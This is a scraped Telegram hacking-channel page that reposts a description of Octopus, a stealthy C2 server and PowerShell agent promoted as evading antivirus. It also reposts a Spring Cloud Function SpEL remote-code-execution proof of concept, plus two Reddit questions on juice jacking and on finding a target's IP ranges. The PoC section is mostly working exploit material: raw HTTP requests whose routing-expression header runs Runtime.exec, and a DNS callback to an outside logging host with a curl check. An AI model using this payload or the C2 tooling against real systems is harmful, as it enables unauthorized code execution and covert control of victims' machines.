Hacking Articles Tips Tricks Videos Tutorials
471 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
Octopus - Open Source Pre-Operation C2 Server Based On Python And Powershell

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbHWqJOIrPw1rtL54yTbIw2cIlFynsHet-hAWvK_u1f0f88sjWefvmE6TSScgWonu3L4Yoba05WDi73dn25KnBWivGITsB7E7NBjoc5ZJv2ADyw9rtQBF2yvCauzx2apyR5VE8udwetILFJcRT_BO6bP5W676EsogYy6dNyuGa7i692KlkMB_sXlnP/w640-h346/Octopus.png Octopus is an open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S.

The main purpose of creating Octopus is for use before any red team operation, where rather than starting the engagement with your full operational arsenal and infrastructure, you can use Octopus first to attack the target and gather information before you start your actual red team operation.

Octopus works in a very simple way to execute commands and exchange information with the C2 over a well encrypted channel, which makes it inconspicuous and undetectable from almost every AV, endpoint protection, and network monitoring solution.

One cool feature in Octopus is called ESA, which stands for "Endpoint Situational Awareness", which will gather some important information about the target that will help you to gain better understanding of the target network endpoints that you will face during your operation, thus giving you a shot to customize your real operation based on this information.

Octopus is designed to be stealthy and covert while communicating with the C2, as it uses AES-256 by default for its encrypted channel between the powershell agent and the C2 server. You can also opt for using SSL/TLS by providing a valid certficate for your domain and configuring the Octopus C2 server to use it. Octopus key featuresOctopus is packed with a number of features that allows you to gain an insight into your upcoming engagement before you actually need to deploy your full aresenal or tools and techniques, such as:

* Control agents throught HTTP/S.
* Execute system commands.
* Download / Upload files.
* Load external powershell modules.
* Use encrypted channels (AES-256) between C2 and agents.
* Use inconspicuous techniques to execute commands and transfer results.
* Create custom and multiple listeners for each target.
* Generate different types of payloads.
* Support all windows versions with powershell 2.0 and higher.
* Run Octopus windows executable agent without touching powershell.exe process.
* Gather information automatically from the endpoint (endpoint situational awareness) feature. RequirementsYou can install all of Octopus' requirements via : pip install -r requirements.txtYou need to install nasmfor linux and 'mingw-w64' compiler to use the shellcoding feature and the spoofed args agent.

You can install nasm on Debian based distros using: apt install nasmAnd you can install mingw-w64on Debian based distros using: apt install mingw-w64Octopus has been tested on the following operating systems:

* Ubuntu (18.04)
* Ubuntu (16.04)
* Kali Linux (2019.2)

You will also need to install mono to make sure that you can compile the C# source without issues.

Octopus depends on mono-csc binary to compile the C# source and you can install it by the following command apt install mono-develwhich has been tested on kali and ubuntu 16.04.

you can use Octopus without installing mono but you will not be able to use generate_execommand.

Also please note that compling C# depends on the System.Management.Automation.dllassembly with SHA1 hash a43ed886b68c6ee913da85df9ad2064f1d81c470.

If you encounter any issues using Octopus, feel free to file a bug report! InstallationFirst of all make sure to download the latest version of Octopus using the following command : git clone https://github.com/mhaskar/Octopus/Then you need to i[...]

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Spring-Spel-0Day-Poc : Spring-Cloud / spring-cloud-function, spring.cloud.function.routing-expression

Spring-Spel-0Day-Poc is spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(“open -a calculator.app”)

build

wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

get path lists for test

find . -name “*.java”|xargs -I % cat %|grep -Eo ‘”([^” .\/=>|,:}+)'”‘”‘]{8,})”‘|sort -u|sed ‘s/”//g’


functionRouter
uppercase
lowercase

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6OT1yKCEZ1fkQBsp_tpVvNfJmaofjJSE2NBP6IwgYPDHVOeTSc7cT2WW4rWqnllK3JhgwxY-o6ertBuaeWwdsISjs7qUCgeuAbDkyUiwKU4ZJ13zEfdHeNL7VJATOuhR-w6GvTq6rG1aMX280BjGt9CKgbh8SAxzksmZvFtep-1KzuwpydhNZc4as/s1658/1.png
poc1

POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(“open -a /System/Applications/Calculator.app”)
Content-Length: 5
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDkub2LPM9Iomo1ksesABPumH9sjwY-ZDu88TFCYHmD_ggJ2RfdMOU4uABlyBVf1XGhIgxs2MVybDVzJA4iFMcb9G0n0K7b8Y0gKSg33Qj96_afoi2ya8f89klF93Q0VtSuBXfxxmK7oaECaAsrZWPzXVvul435r-a92XroUFoOVjKUgdSF4oQnC2u/s2296/2.png
poc2

POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName(“random87535.rce.51pwn.com”)
Content-Length: 5
51pwn

check

curl -v -H “user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0” ‘https://51pwn.com/dnslog?q=random87535.rce.51pwn.com
Download

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Does anyone know how to juice jack your own device for research?

I’ve been searching around and I haven’t really found much on juice jacking on the clear web, I’ve seen stuff about how it works and how to protect yourself against it but I’ve been looking at juice jacking one of my devices to see how dangerous it is. If anyone has any docs or can help me that would be great!

submitted by /u/0x6C2b709e58d7280b82
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
Ranges of ips from hosted servers?

Hi, i wanted to ask about ips coming from hosted servers.I started one month ago and i've learned a lot of things, but i still dont know how to discover a range of ips from the original domain im trying to scan, not his hosting company.

I mean, if i run a nslookup, that brings me to a linode ip, and a whois search, that gives me to a big range of ips located far from the official ofices, how should i try to get those real ips?

I know about email headers that are supposed to show a real ip, but not ranges of ips.

Excuse my english, i know writing is not my strong suit, and my question too, i dont even know if i made that clear.

submitted by /u/Feeling_Beautiful_85
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video